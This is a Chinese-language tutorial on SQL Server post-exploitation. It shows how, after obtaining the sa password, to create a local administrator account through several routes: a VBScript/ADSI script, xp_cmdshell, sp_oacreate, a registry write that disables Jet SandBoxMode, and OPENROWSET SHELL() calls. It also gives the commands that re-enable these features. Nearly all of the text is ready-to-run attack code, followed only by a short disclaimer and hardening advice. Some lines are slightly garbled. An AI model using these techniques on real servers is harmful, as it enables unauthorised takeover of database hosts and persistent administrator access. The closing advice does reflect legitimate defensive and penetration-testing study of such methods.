取得 sa 密碼後,若 net.exe/net1.exe 受限無法建立帳號,可利用 VBScript/ADSI、擴展預存程序 xp_cmdshell、sp_oacreate、OPENROWSET (Jet OLEDB) 等多種途徑在作業系統層級建立管理員帳號。
Set ws = CreateObject("WScript.Network")
os = "WinNT://" & ws.ComputerName
Set ob = GetObject(os)
Set oe = GetObject(os & "/Administrators,group")
Set od = ob.Create("user", "test")
od.SetPassword "ComplexPass123"
od.SetInfo
Set of = GetObject(os & "/test,user")
oe.Add os & "/test"
存為 1.vbs,在查詢分析器以 xp_cmdshell 執行:
EXEC master..xp_cmdshell 'cscript c:\1.vbs'
DECLARE @o INT, @f INT
EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_oamethod @o, 'CreateTextFile', @f OUT, 'c:\1.vbs', 1
-- 逐行寫入上述 VBS 程式碼(略)
EXEC master..xp_cmdshell 'cscript c:\1.vbs'
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1ias.mdb 執行命令:
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
';database=c:\windows\system32\ias\ias.mdb',
'SELECT SHELL("cmd.exe /c net user test ComplexPass123 /add")')
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
';database=c:\windows\system32\ias\ias.mdb',
'SELECT SHELL("cmd.exe /c net localgroup administrators test /add")')
c:\winnt\system32\;XP/2003 c:\windows\system32\。-- xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- OPENROWSET / Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;
-- sp_oacreate (Ole Automation Procedures)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
安全警示:本文僅供防禦研究與滲透測試授權範圍參考,嚴禁用於非法入侵。生產環境應嚴格限制sa、停用xp_cmdshell、Ole Automation、Ad Hoc Distributed Queries,並實施最小權限原則。